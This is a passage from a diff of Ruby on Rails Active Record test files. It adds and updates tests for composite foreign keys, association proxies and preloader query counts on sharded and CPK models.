+  end
+
+  def test_has_many_association_with_composite_foreign_key_loads_records
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+
+    comments = blog_post.comments.to_a
+    assert_includes(comments, sharded_comments(:wow_comment_blog_post_one))
+    assert_includes(comments, sharded_comments(:great_comment_blog_post_one))
+  end
+
+  def test_belongs_to_with_explicit_composite_foreign_key
+    car = Cpk::Car.create(make: "Tesla", model: "Model S")
+    review = Cpk::CarReview.create(car: car, comment: "Great car!", rating: 5)
+
+    review.reload
+
+    sql = capture_sql do
+      assert_equal(car, review.car)
+    end
+
+    assert_match(/#{Regexp.escape(quote_table_name("cpk_cars.make"))} =/, sql.first)
+    assert_match(/#{Regexp.escape(quote_table_name("cpk_cars.model"))} =/, sql.first)
+  end
+
+  def test_cpk_model_has_many_records_by_id_attribute
+    order = cpk_orders(:cpk_groceries_order_1)
+    _order_shop_id, order_id = order.id
+    agreements = 2.times.map { Cpk::OrderAgreement.create(order_id: order_id, signature: "signed") }
+
+    assert_equal(agreements.sort, order.order_agreements.to_a.sort)
+  end
+
+  def test_has_many_association_from_a_model_with_query_constraints_different_from_the_association
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    blog_post = Sharded::BlogPostWithRevision.find(blog_post.id)
+    comments = []
+    expected_comments = Sharded::Comment.where(blog_id: blog_post.blog_id, blog_post_id: blog_post.id).to_a
+
+    sql = capture_sql do
+      comments = blog_post.comments.to_a
+    end.first
+
+    assert_match(/WHERE .*#{Regexp.escape(quote_table_name("sharded_comments.blog_id"))} =/, sql)
+    assert_not_empty(comments)
+    assert_equal(expected_comments.sort, comments.sort)
+  end
+
+  def test_query_constraints_over_three_without_defining_explicit_foreign_key_query_constraints_raises
+    Sharded::BlogPostWithRevision.has_many :comments_without_query_constraints, primary_key: [:blog_id, :id], class_name: "Comment"
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    blog_post = Sharded::BlogPostWithRevision.find(blog_post.id)
+
+    error = assert_raises ArgumentError do
+      blog_post.comments_without_query_constraints.to_a
+    end
+
+    assert_equal "The query constraints list on the `Sharded::BlogPostWithRevision` model has more than 2 attributes. Active Record is unable to derive the query constraints for the association. You need to explicitly define the query constraints for this association.", error.message
+  end
+
+  def test_model_with_composite_query_constraints_has_many_association_sql
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+
+    sql = capture_sql do
+      blog_post.comments.to_a
+    end.first
+
+    assert_match(/#{Regexp.escape(quote_table_name("sharded_comments.blog_post_id"))} =/, sql)
+    assert_match(/#{Regexp.escape(quote_table_name("sharded_comments.blog_id"))} =/, sql)
+  end
+
+  def test_belongs_to_association_does_not_use_parent_query_constraints_if_not_configured_to
+    comment = sharded_comments(:great_comment_blog_post_one)
+    blog_post = Sharded::BlogPost.new(blog_id: comment.blog_id, title: "Following best practices")
+
+    comment.blog_post_by_id = blog_post
+
+    comment.save
+
+    assert_predicate blog_post, :persisted?
+    assert_equal(blog_post, comment.blog_post_by_id)
+  end
+
+  def test_polymorphic_belongs_to_uses_parent_query_constraints
+    parent_post = sharded_blog_posts(:great_post_blog_one)
+    child_post = Sharded::BlogPost.create!(title: "Child post", blog_id: parent_post.blog_id, parent: parent_post)
+    child_post.reload # reload to forget the parent association
+
+    assert_equal parent_post, child_post.parent
+  end
+
+  def test_preloads_model_with_query_constraints_by_explicitly_configured_fk_and_pk
+    comment = sharded_comments(:great_comment_blog_post_one)
+    comments = Sharded::Comment.where(id: comment.id).preload(:blog_post_by_id).to_a
+    comment = comments.first
+    assert_equal(comment.blog_post_by_id, comment.blog_post)
+  end
+
+  def test_append_composite_foreign_key_has_many_association
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    comment = Sharded::Comment.new(body: "Great post! :clap:")
+    comment.save
+    blog_post.comments << comment
+
+    assert_includes(blog_post.comments, comment)
+    assert_equal(blog_post.id, comment.blog_post_id)
+    assert_equal(blog_post.blog_id, comment.blog_id)
+  end
+
+  def test_nullify_composite_foreign_key_has_many_association
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    comment = sharded_comments(:great_comment_blog_post_one)
+
+    assert_not_empty(blog_post.comments)
+    blog_post.comments = []
+
+    comment = Sharded::Comment.find(comment.id)
+    assert_nil(comment.blog_post_id)
+    assert_nil(comment.blog_id)
+
+    assert_empty(blog_post.comments)
+    assert_empty(blog_post.reload.comments)
+  end
+
+  def test_assign_persisted_composite_foreign_key_belongs_to_association
+    comment = sharded_comments(:great_comment_blog_post_one)
+    another_blog = sharded_blogs(:sharded_blog_two)
+    assert_not_equal(comment.blog_id, another_blog.id)
+
+    blog_post = Sharded::BlogPost.new(title: "New post", blog_id: another_blog.id)
+    blog_post.save
+    comment.blog_post = blog_post
+
+    assert_equal(blog_post, comment.blog_post)
+    assert_equal(comment.blog_id, blog_post.blog_id)
+    assert_equal(another_blog.id, comment.blog_id)
+    assert_equal(comment.blog_post_id, blog_post.id)
+  end
+
+  def test_nullify_composite_foreign_key_belongs_to_association
+    comment = sharded_comments(:great_comment_blog_post_one)
+    assert_not_nil(comment.blog_post)
+
+    comment.blog_post = nil
+    assert_nil(comment.blog_id)
+    assert_nil(comment.blog_post_id)
+
+    comment.save
+    assert_nil(comment.blog_post)
+    assert_nil(comment.reload.blog_post)
+  end
+
+  def test_assign_composite_foreign_key_belongs_to_association
+    comment = sharded_comments(:great_comment_blog_post_one)
+    another_blog = sharded_blogs(:sharded_blog_two)
+    assert_not_equal(comment.blog_id, another_blog.id)
+
+    blog_post = Sharded::BlogPost.new(title: "New post", blog_id: another_blog.id)
+    comment.blog_post = blog_post
+
+    assert_equal(blog_post, comment.blog_post)
+    assert_equal(comment.blog_id, blog_post.blog_id)
+    assert_equal(another_blog.id, comment.blog_id)
+  end
+
+  def test_query_constraints_that_dont_include_the_primary_key_raise_with_a_single_column
+    original = Sharded::BlogPost.instance_variable_get(:@query_constraints_list)
+    Sharded::BlogPost.query_constraints :title
+    Sharded::BlogPost.has_many :comments_without_single_column_query_constraints, primary_key: [:blog_id, :id], class_name: "Comment"
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+
+    error = assert_raises ArgumentError do
+      blog_post.comments_without_single_column_query_constraints.to_a
+    end
+
+    assert_equal "The query constraints on the `Sharded::BlogPost` model does not include the primary key so Active Record is unable to derive the foreign key constraints for the association. You need to explicitly define the query constraints for this association.", error.message
+  ensure
+    Sharded::BlogPost.instance_variable_set(:@query_constraints_list, original)
+  end
+
+  def test_query_constraints_that_dont_include_the_primary_key_raise_with_multiple_columns
+    original = Sharded::BlogPost.instance_variable_get(:@query_constraints_list)
+    Sharded::BlogPost.query_constraints :title, :revision
+    Sharded::BlogPost.has_many :comments_without_multiple_column_query_constraints, primary_key: [:blog_id, :id], class_name: "Comment"
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+
+    error = assert_raises ArgumentError do
+      blog_post.comments_without_multiple_column_query_constraints.to_a
+    end
+
+    assert_equal "The query constraints on the `Sharded::BlogPost` model does not include the primary key so Active Record is unable to derive the foreign key constraints for the association. You need to explicitly define the query constraints for this association.", error.message
+  ensure
+    Sharded::BlogPost.instance_variable_set(:@query_constraints_list, original)
+  end
+
+  def test_assign_belongs_to_cpk_model_by_id_attribute
+    order = cpk_orders(:cpk_groceries_order_1)
+    agreement = Cpk::OrderAgreement.new(signature: "signed")
+
+    agreement.order = order
+    agreement.save
+
+    assert_not_nil(agreement.reload.order)
+    assert_not_nil(agreement.order_id)
+
+    assert_equal(order, agreement.order)
+    _shop_id, order_id = order.id
+    assert_equal(order_id, agreement.order_id)
+  end
+
+  def test_append_composite_foreign_key_has_many_association_with_autosave
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    comment = Sharded::Comment.new(body: "Great post! :clap:")
+    blog_post.comments << comment
+
+    assert_predicate(comment, :persisted?)
+    assert_includes(blog_post.comments, comment)
+    assert_equal(blog_post.id, comment.blog_post_id)
+    assert_equal(blog_post.blog_id, comment.blog_id)
+  end
+
+  def test_assign_composite_foreign_key_belongs_to_association_with_autosave
+    comment = sharded_comments(:great_comment_blog_post_one)
+    another_blog = sharded_blogs(:sharded_blog_two)
+    assert_not_equal(comment.blog_id, another_blog.id)
+
+    blog_post = Sharded::BlogPost.new(title: "New post", blog_id: another_blog.id)
+    comment.blog_post = blog_post
+    comment.save
+
+    assert_predicate(blog_post, :persisted?)
+    assert_equal(blog_post, comment.blog_post)
+    assert_equal(comment.blog_id, blog_post.blog_id)
+    assert_equal(another_blog.id, comment.blog_id)
+    assert_equal(comment.blog_post_id, blog_post.id)
+  end
+
+  def test_append_composite_has_many_through_association
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    tag = Sharded::Tag.new(name: "Ruby on Rails", blog_id: blog_post.blog_id)
+    tag.save
+
+    blog_post.tags << tag
+
+    assert_includes(blog_post.reload.tags, tag)
+    assert_predicate Sharded::BlogPostTag.where(blog_post_id: blog_post.id, blog_id: blog_post.blog_id, tag_id: tag.id), :exists?
+  end
+
+  def test_append_composite_has_many_through_association_with_autosave
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    tag = Sharded::Tag.new(name: "Ruby on Rails", blog_id: blog_post.blog_id)
+
+    blog_post.tags << tag
+
+    assert_includes(blog_post.reload.tags, tag)
+    assert_predicate Sharded::BlogPostTag.where(blog_post_id: blog_post.id, blog_id: blog_post.blog_id, tag_id: tag.id), :exists?
+  end
+
+  def test_nullify_composite_has_many_through_association
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    assert_not_empty(blog_post.tags)
+
+    blog_post.tags = []
+
+    assert_empty(blog_post.tags)
+    assert_empty(blog_post.reload.tags)
+    assert_not_predicate Sharded::BlogPostTag.where(blog_post_id: blog_post.id, blog_id: blog_post.blog_id), :exists?
+  end
+
+  def test_using_query_constraints_warns_about_changing_behavior
+    has_many_expected_message = <<~MSG.squish
+      Setting `query_constraints:` option on `Sharded::BlogPost.has_many :qc_deprecated_comments` is not allowed.
+      To get the same behavior, use the `foreign_key` option instead.
+    MSG
+
+    assert_raises(ActiveRecord::ConfigurationError, match: has_many_expected_message) do
+      Sharded::BlogPost.has_many :qc_deprecated_comments,
+        class_name: "Sharded::Comment", query_constraints: [:blog_id, :blog_post_id]
+    end
+
+    belongs_to_expected_message = <<~MSG.squish
+      Setting `query_constraints:` option on `Sharded::Comment.belongs_to :qc_deprecated_blog_post` is not allowed.
+      To get the same behavior, use the `foreign_key` option instead.
+    MSG
+
+    assert_raises(ActiveRecord::ConfigurationError, match: belongs_to_expected_message) do
+      Sharded::Comment.belongs_to :qc_deprecated_blog_post,
+        class_name: "Sharded::Blog", query_constraints: [:blog_id, :blog_post_id]
+    end
   end
 end
 
 class AssociationProxyTest < ActiveRecord::TestCase
-  fixtures :authors, :posts, :categorizations, :categories, :developers, :projects, :developers_projects
+  fixtures :authors, :author_addresses, :posts, :categorizations, :categories, :developers, :projects, :developers_projects, :members
 
   def test_push_does_not_load_target
     david = authors(:david)
 
     david.posts << (post = Post.new(title: "New on Edge", body: "More cool stuff!"))
-    assert !david.posts.loaded?
+    assert_not_predicate david.posts, :loaded?
     assert_includes david.posts, post
   end
 
@@ -125,7 +504,7 @@ def test_push_has_many_through_does_not_load_target
     david = authors(:david)
 
     david.categories << categories(:technology)
-    assert !david.categories.loaded?
+    assert_not_predicate david.categories, :loaded?
     assert_includes david.categories, categories(:technology)
   end
 
@@ -133,23 +512,23 @@ def test_push_followed_by_save_does_not_load_target
     david = authors(:david)
 
     david.posts << (post = Post.new(title: "New on Edge", body: "More cool stuff!"))
-    assert !david.posts.loaded?
+    assert_not_predicate david.posts, :loaded?
     david.save
-    assert !david.posts.loaded?
+    assert_not_predicate david.posts, :loaded?
     assert_includes david.posts, post
   end
 
   def test_push_does_not_lose_additions_to_new_record
     josh = Author.new(name: "Josh")
     josh.posts << Post.new(title: "New on Edge", body: "More cool stuff!")
-    assert josh.posts.loaded?
+    assert_predicate josh.posts, :loaded?
     assert_equal 1, josh.posts.size
   end
 
   def test_append_behaves_like_push
     josh = Author.new(name: "Josh")
     josh.posts.append Post.new(title: "New on Edge", body: "More cool stuff!")
-    assert josh.posts.loaded?
+    assert_predicate josh.posts, :loaded?
     assert_equal 1, josh.posts.size
   end
 
@@ -161,23 +540,33 @@ def test_prepend_is_not_defined
   def test_save_on_parent_does_not_load_target
     david = developers(:david)
 
-    assert !david.projects.loaded?
+    assert_not_predicate david.projects, :loaded?
     david.update_columns(created_at: Time.now)
-    assert !david.projects.loaded?
+    assert_not_predicate david.projects, :loaded?
   end
 
   def test_load_does_load_target
     david = developers(:david)
 
-    assert !david.projects.loaded?
+    assert_not_predicate david.projects, :loaded?
     david.projects.load
-    assert david.projects.loaded?
+    assert_predicate david.projects, :loaded?
   end
 
   def test_inspect_does_not_reload_a_not_yet_loaded_target
     andreas = Developer.new name: "Andreas", log: "new developer added"
-    assert !andreas.audit_logs.loaded?
+    assert_not_predicate andreas.audit_logs, :loaded?
     assert_match(/message: "new developer added"/, andreas.audit_logs.inspect)
+    assert_predicate andreas.audit_logs, :loaded?
+  end
+
+  def test_pretty_print_does_not_reload_a_not_yet_loaded_target
+    andreas = Developer.new(log: "new developer added")
+    assert_not_predicate andreas.audit_logs, :loaded?
+    out = StringIO.new
+    PP.pp(andreas.audit_logs, out)
+    assert_match(/message: "new developer added"/, out.string)
+    assert_predicate andreas.audit_logs, :loaded?
   end
 
   def test_save_on_parent_saves_children
@@ -187,14 +576,14 @@ def test_save_on_parent_saves_children
 
   def test_create_via_association_with_block
     post = authors(:david).posts.create(title: "New on Edge") { |p| p.body = "More cool stuff!" }
-    assert_equal post.title, "New on Edge"
-    assert_equal post.body, "More cool stuff!"
+    assert_equal "New on Edge", post.title
+    assert_equal "More cool stuff!", post.body
   end
 
   def test_create_with_bang_via_association_with_block
     post = authors(:david).posts.create!(title: "New on Edge") { |p| p.body = "More cool stuff!" }
-    assert_equal post.title, "New on Edge"
-    assert_equal post.body, "More cool stuff!"
+    assert_equal "New on Edge", post.title
+    assert_equal "More cool stuff!", post.body
   end
 
   def test_reload_returns_association
@@ -222,41 +611,102 @@ def test_scoped_allows_conditions
 
   test "proxy object is cached" do
     david = developers(:david)
-    assert david.projects.equal?(david.projects)
+    assert_same david.projects, david.projects
+  end
+
+  test "proxy object can be stubbed" do
+    david = developers(:david)
+    david.projects.define_singleton_method(:extra_method) { 42 }
+
+    assert_equal 42, david.projects.extra_method
   end
 
   test "inverses get set of subsets of the association" do
-    man = Man.create
-    man.interests.create
+    human = Human.create
+    human.interests.create
 
-    man = Man.find(man.id)
+    human = Human.find(human.id)
 
-    assert_queries(1) do
-      assert_equal man, man.interests.where("1=1").first.man
+    assert_queries_count(1) do
+      assert_equal human, human.interests.where("1=1").first.human
     end
   end
 
   test "first! works on loaded associations" do
     david = authors(:david)
-    assert_equal david.posts.first, david.posts.reload.first!
-    assert david.posts.loaded?
-    assert_no_queries { david.posts.first! }
+    assert_equal david.first_posts.first, david.first_posts.reload.first!
+    assert_predicate david.first_posts, :loaded?
+    assert_no_queries { david.first_posts.first! }
   end
 
   def test_pluck_uses_loaded_target
     david = authors(:david)
-    assert_equal david.posts.pluck(:title), david.posts.load.pluck(:title)
-    assert david.posts.loaded?
-    assert_no_queries { david.posts.pluck(:title) }
+    assert_equal david.first_posts.pluck(:title), david.first_posts.load.pluck(:title)
+    assert_predicate david.first_posts, :loaded?
+    assert_no_queries { david.first_posts.pluck(:title) }
+  end
+
+  def test_pick_uses_loaded_target
+    david = authors(:david)
+    assert_equal david.first_posts.pick(:title), david.first_posts.load.pick(:title)
+    assert_predicate david.first_posts, :loaded?
+    assert_no_queries { david.first_posts.pick(:title) }
   end
 
   def test_reset_unloads_target
     david = authors(:david)
     david.posts.reload
 
-    assert david.posts.loaded?
+    assert_predicate david.posts, :loaded?
+    assert_predicate david.posts, :loaded
     david.posts.reset
-    assert !david.posts.loaded?
+    assert_not_predicate david.posts, :loaded?
+    assert_not_predicate david.posts, :loaded
+  end
+
+  def test_target_merging_ignores_persisted_in_memory_records
+    david = authors(:david)
+    assert david.thinking_posts.include?(posts(:thinking))
+
+    david.thinking_posts.create!(title: "Something else entirely", body: "Does not matter.")
+
+    assert_equal 1, david.thinking_posts.size
+    assert_equal 1, david.thinking_posts.to_a.size
+  end
+
+  def test_target_merging_ignores_persisted_in_memory_records_when_loaded_records_are_empty
+    member = members(:blarpy_winkup)
+    assert_empty member.favorite_memberships
+
+    membership = member.favorite_memberships.create!
+    membership.update!(favorite: false)
+
+    assert_empty member.favorite_memberships.to_a
+  end
+
+  def test_target_merging_recognizes_updated_in_memory_records
+    member = members(:blarpy_winkup)
+    membership = member.create_membership!(favorite: false)
+
+    assert_empty member.favorite_memberships
+
+    membership.update!(favorite: true)
+
+    assert_not_empty member.favorite_memberships.to_a
+  end
+
+  def test_size_differentiates_between_new_and_persisted_in_memory_records_when_loaded_records_are_empty
+    member = members(:blarpy_winkup)
+    assert_empty member.favorite_memberships
+
+    membership = member.favorite_memberships.create!
+    membership.update!(favorite: false)
+
+    # CollectionAssociation#size has different behavior when loaded vs. non-loaded
+    # the first call will mark the association as loaded and the second call will
+    # take a different code path, so it's important to keep both assertions
+    assert_equal 0, member.favorite_memberships.size
+    assert_equal 0, member.favorite_memberships.size
   end
 end
 
@@ -329,10 +779,812 @@ def test_requires_symbol_argument
       end
     end
   end
+
+  class ModelAssociatedToClassesThatDoNotExist < ActiveRecord::Base
+    self.table_name = "accounts" # this is just to avoid adding a new model just for this test
+
+    has_one :non_existent_has_one_class
+    belongs_to :non_existent_belongs_to_class
+    has_many :non_existent_has_many_classes
+  end
+
+  def test_associations_raise_with_name_error_if_associated_to_classes_that_do_not_exist
+    assert_raises NameError do
+      ModelAssociatedToClassesThatDoNotExist.new.non_existent_has_one_class
+    end
+
+    assert_raises NameError do
+      ModelAssociatedToClassesThatDoNotExist.new.non_existent_belongs_to_class
+    end
+
+    assert_raises NameError do
+      ModelAssociatedToClassesThatDoNotExist.new.non_existent_has_many_classes
+    end
+  end
+end
+
+class PreloaderTest < ActiveRecord::TestCase
+  fixtures :posts, :comments, :books, :authors, :tags, :taggings, :essays, :categories, :author_addresses,
+           :sharded_blog_posts, :sharded_comments, :sharded_blog_posts_tags, :sharded_tags,
+           :members, :member_details, :organizations, :cpk_orders, :cpk_order_agreements,
+           :dogs, :other_dogs
+
+  def test_preload_with_scope
+    post = posts(:welcome)
+
+    preloader = ActiveRecord::Associations::Preloader.new(records: [post], associations: :comments, scope: Comment.where(body: "Thank you for the welcome"))
+    preloader.call
+
+    assert_predicate post.comments, :loaded?
+    assert_equal [comments(:greetings)], post.comments
+  end
+
+  def test_preload_makes_correct_number_of_queries_on_array
+    post = posts(:welcome)
+
+    assert_queries_count(1) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [post], associations: :comments)
+      preloader.call
+    end
+  end
+
+  def test_preload_makes_correct_number_of_queries_on_relation
+    post = posts(:welcome)
+    relation = Post.where(id: post.id)
+
+    assert_queries_count(2) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: relation, associations: :comments)
+      preloader.call
+    end
+  end
+
+  def test_preload_does_not_concatenate_duplicate_records
+    post = posts(:welcome)
+    post.reload
+    post.comments.create!(body: "A new comment")
+
+    ActiveRecord::Associations::Preloader.new(records: [post], associations: :comments).call
+
+    assert_equal post.comments.length, post.comments.count
+    assert_equal post.comments.all.to_a, post.comments
+  end
+
+  def test_preload_for_hmt_with_conditions
+    post = posts(:welcome)
+    _normal_category = post.categories.create!(name: "Normal")
+    special_category = post.special_categories.create!(name: "Special")
+
+    preloader = ActiveRecord::Associations::Preloader.new(records: [post], associations: :hmt_special_categories)
+    preloader.call
+
+    assert_equal 1, post.hmt_special_categories.length
+    assert_equal [special_category], post.hmt_special_categories
+  end
+
+  def test_preload_groups_queries_with_same_scope
+    book = books(:awdr)
+    post = posts(:welcome)
+
+    assert_queries_count(1) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [book, post], associations: :author)
+      preloader.call
+    end
+
+    assert_no_queries do
+      book.author
+      post.author
+    end
+  end
+
+  def test_preload_grouped_queries_with_already_loaded_records
+    book = books(:awdr)
+    post = posts(:welcome)
+    book.author
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [book, post], associations: :author).call
+      book.author
+      post.author
+    end
+  end
+
+  def test_preload_grouped_queries_of_middle_records
+    comments = [
+      comments(:eager_sti_on_associations_s_comment1),
+      comments(:eager_sti_on_associations_s_comment2),
+    ]
+
+    assert_queries_count(2) do
+      ActiveRecord::Associations::Preloader.new(records: comments, associations: [:author, :ordinary_post]).call
+    end
+  end
+
+  def test_preload_grouped_queries_of_through_records
+    author = authors(:david)
+
+    assert_queries_count(3) do
+      ActiveRecord::Associations::Preloader.new(records: [author], associations: [:hello_post_comments, :comments]).call
+    end
+  end
+
+  def test_preload_through_records_with_already_loaded_middle_record
+    member = members(:groucho)
+    expected_member_detail_ids = member.organization_member_details_2.pluck(:id)
+
+    member.reload.organization # load through record
+
+    assert_queries_count(1) do
+      ActiveRecord::Associations::Preloader.new(records: [member], associations: :organization_member_details_2).call
+    end
+
+    assert_no_queries do
+      assert_equal expected_member_detail_ids.sort, member.organization_member_details_2.map(&:id).sort
+    end
+  end
+
+  def test_preload_with_instance_dependent_scope
+    david = authors(:david)
+    david2 = Author.create!(name: "David")
+    bob = authors(:bob)
+    post = Post.create!(
+      author: david,
+      title: "test post",
+      body: "this post is about David"
+    )
+    post2 = Post.create!(
+      author: david,
+      title: "test post 2",
+      body: "this post is also about David"
+    )
+
+    assert_queries_count(2) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [david, david2, bob], associations: :posts_mentioning_author)
+      preloader.call
+    end
+
+    assert_predicate david.posts_mentioning_author, :loaded?
+    assert_predicate david2.posts_mentioning_author, :loaded?
+    assert_predicate bob.posts_mentioning_author, :loaded?
+
+    assert_equal [post, post2].sort, david.posts_mentioning_author.sort
+    assert_equal [], david2.posts_mentioning_author
+    assert_equal [], bob.posts_mentioning_author
+  end
+
+  def test_preload_with_instance_dependent_through_scope
+    david = authors(:david)
+    david2 = Author.create!(name: "David")
+    bob = authors(:bob)
+    comment1 = david.posts.first.comments.create!(body: "Hi David!")
+    comment2 = david.posts.first.comments.create!(body: "This comment mentions david")
+
+    assert_queries_count(2) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [david, david2, bob], associations: :comments_mentioning_author)
+      preloader.call
+    end
+
+    assert_predicate david.comments_mentioning_author, :loaded?
+    assert_predicate david2.comments_mentioning_author, :loaded?
+    assert_predicate bob.comments_mentioning_author, :loaded?
+
+    assert_equal [comment1, comment2].sort, david.comments_mentioning_author.sort
+    assert_equal [], david2.comments_mentioning_author
+    assert_equal [], bob.comments_mentioning_author
+  end
+
+  def test_preload_with_through_instance_dependent_scope
+    david = authors(:david)
+    david2 = Author.create!(name: "David")
+    bob = authors(:bob)
+    post = Post.create!(
+      author: david,
+      title: "test post",
+      body: "this post is about David"
+    )
+    Post.create!(
+      author: david,
+      title: "test post 2",
+      body: "this post is also about David"
+    )
+    post3 = Post.create!(
+      author: bob,
+      title: "test post 3",
+      body: "this post is about Bob"
+    )
+    comment1 = post.comments.create!(body: "hi!")
+    comment2 = post.comments.create!(body: "hello!")
+    comment3 = post3.comments.create!(body: "HI BOB!")
+
+    assert_queries_count(3) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [david, david2, bob], associations: :comments_on_posts_mentioning_author)
+      preloader.call
+    end
+
+    assert_predicate david.comments_on_posts_mentioning_author, :loaded?
+    assert_predicate david2.comments_on_posts_mentioning_author, :loaded?
+    assert_predicate bob.comments_on_posts_mentioning_author, :loaded?
+
+    assert_equal [comment1, comment2].sort, david.comments_on_posts_mentioning_author.sort
+    assert_equal [], david2.comments_on_posts_mentioning_author
+    assert_equal [comment3], bob.comments_on_posts_mentioning_author
+  end
+
+  def test_some_already_loaded_associations
+    item_discount = Discount.create(amount: 5)
+    shipping_discount = Discount.create(amount: 20)
+
+    invoice = Invoice.new
+    line_item = LineItem.new(amount: 20)
+    line_item.discount_applications << LineItemDiscountApplication.new(discount: item_discount)
+    invoice.line_items << line_item
+
+    shipping_line = ShippingLine.new(amount: 50)
+    shipping_line.discount_applications << ShippingLineDiscountApplication.new(discount: shipping_discount)
+    invoice.shipping_lines << shipping_line
+
+    invoice.save!
+    invoice.reload
+
+    # SELECT "line_items".* FROM "line_items" WHERE "line_items"."invoice_id" = ?
+    # SELECT "shipping_lines".* FROM shipping_lines WHERE "shipping_lines"."invoice_id" = ?
+    # SELECT "line_item_discount_applications".* FROM "line_item_discount_applications" WHERE "line_item_discount_applications"."line_item_id" = ?
+    # SELECT "shipping_line_discount_applications".* FROM "shipping_line_discount_applications" WHERE "shipping_line_discount_applications"."shipping_line_id" = ?
+    # SELECT "discounts".* FROM "discounts" WHERE "discounts"."id" IN (?, ?).
+    assert_queries_count(5) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [invoice], associations: [
+        line_items: { discount_applications: :discount },
+        shipping_lines: { discount_applications: :discount },
+      ])
+      preloader.call
+    end
+
+    assert_no_queries do
+      assert_not_nil invoice.line_items.first.discount_applications.first.discount
+      assert_not_nil invoice.shipping_lines.first.discount_applications.first.discount
+    end
+
+    invoice.reload
+    invoice.line_items.map { |i| i.discount_applications.to_a }
+    # `line_items` and `line_item_discount_applications` are already preloaded, so we expect:
+    # SELECT "shipping_lines".* FROM shipping_lines WHERE "shipping_lines"."invoice_id" = ?
+    # SELECT "shipping_line_discount_applications".* FROM "shipping_line_discount_applications" WHERE "shipping_line_discount_applications"."shipping_line_id" = ?
+    # SELECT "discounts".* FROM "discounts" WHERE "discounts"."id" = ?.
+    assert_queries_count(3) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [invoice], associations: [
+        line_items: { discount_applications: :discount },
+        shipping_lines: { discount_applications: :discount },
+      ])
+      preloader.call
+    end
+
+    assert_no_queries do
+      assert_not_nil invoice.line_items.first.discount_applications.first.discount
+      assert_not_nil invoice.shipping_lines.first.discount_applications.first.discount
+    end
+  end
+
+  def test_preload_through
+    comments = [
+      comments(:eager_sti_on_associations_s_comment1),
+      comments(:eager_sti_on_associations_s_comment2),
+    ]
+
+    assert_queries_count(2) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: comments, associations: [:author, :post])
+      preloader.call
+    end
+
+    assert_no_queries do
+      comments.each(&:author)
+    end
+  end
+
+  def test_preload_groups_queries_with_same_scope_at_second_level
+    author = nil
+
+    # Expected
+    #   SELECT FROM authors ...
+    #   SELECT FROM posts ... (thinking)
+    #   SELECT FROM posts ... (welcome)
+    #   SELECT FROM comments ... (comments for both welcome and thinking)
+    assert_queries_count(4) do
+      author = Author
+        .where(name: "David")
+        .includes(thinking_posts: :comments, welcome_posts: :comments)
+        .first
+    end
+
+    assert_no_queries do
+      author.thinking_posts.map(&:comments)
+      author.welcome_posts.map(&:comments)
+    end
+  end
+
+  def test_preload_groups_queries_with_same_sql_at_second_level
+    author = nil
+
+    # Expected
+    #   SELECT FROM authors ...
+    #   SELECT FROM posts ... (thinking)
+    #   SELECT FROM posts ... (welcome)
+    #   SELECT FROM comments ... (comments for both welcome and thinking)
+    assert_queries_count(4) do
+      author = Author
+        .where(name: "David")
+        .includes(thinking_posts: :comments, welcome_posts: :comments_with_extending)
+        .first
+    end
+
+    assert_no_queries do
+      author.thinking_posts.map(&:comments)
+      author.welcome_posts.map(&:comments_with_extending)
+    end
+  end
+
+  def test_preload_with_grouping_sets_inverse_association
+    mary = authors(:mary)
+    bob = authors(:bob)
+
+    AuthorFavorite.create!(author: mary, favorite_author: bob)
+    favorites = AuthorFavorite.all.load
+
+    assert_queries_count(1) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: favorites, associations: [:author, :favorite_author])
+      preloader.call
+    end
+
+    assert_no_queries do
+      favorites.first.author
+      favorites.first.favorite_author
+    end
+  end
+
+  def test_preload_can_group_separate_levels
+    mary = authors(:mary)
+    bob = authors(:bob)
+
+    AuthorFavorite.create!(author: mary, favorite_author: bob)
+
+    assert_queries_count(3) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [mary], associations: [:posts, favorite_authors: :posts])
+      preloader.call
+    end
+
+    assert_no_queries do
+      mary.posts
+      mary.favorite_authors.map(&:posts)
+    end
+  end
+
+  def test_preload_can_group_multi_level_ping_pong_through
+    mary = authors(:mary)
+    bob = authors(:bob)
+
+    AuthorFavorite.create!(author: mary, favorite_author: bob)
+
+    associations = { similar_posts: :comments, favorite_authors: { similar_posts: :comments } }
+
+    assert_queries_count(9) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [mary], associations: associations)
+      preloader.call
+    end
+
+    assert_no_queries do
+      mary.similar_posts.map(&:comments).each(&:to_a)
+      mary.favorite_authors.flat_map(&:similar_posts).map(&:comments).each(&:to_a)
+    end
+
+    # Preloading with automatic scope inversing reduces the number of queries
+    tag_reflection = Tagging.reflect_on_association(:tag)
+    taggings_reflection = Tag.reflect_on_association(:taggings)
+
+    assert tag_reflection.scope
+    assert_not taggings_reflection.scope
+
+    with_automatic_scope_inversing(tag_reflection, taggings_reflection) do
+      mary.reload
+
+      assert_queries_count(8) do
+        preloader = ActiveRecord::Associations::Preloader.new(records: [mary], associations: associations)
+        preloader.call
+      end
+    end
+  end
+
+  def test_preload_does_not_group_same_class_different_scope
+    post = posts(:welcome)
+    postesque = Postesque.create(author: Author.last)
+    postesque.reload
+
+    # When the scopes differ in the generated SQL:
+    # SELECT "authors".* FROM "authors" WHERE (name LIKE '%a%') AND "authors"."id" = ?
+    # SELECT "authors".* FROM "authors" WHERE "authors"."id" = ?.
+    assert_queries_count(2) do
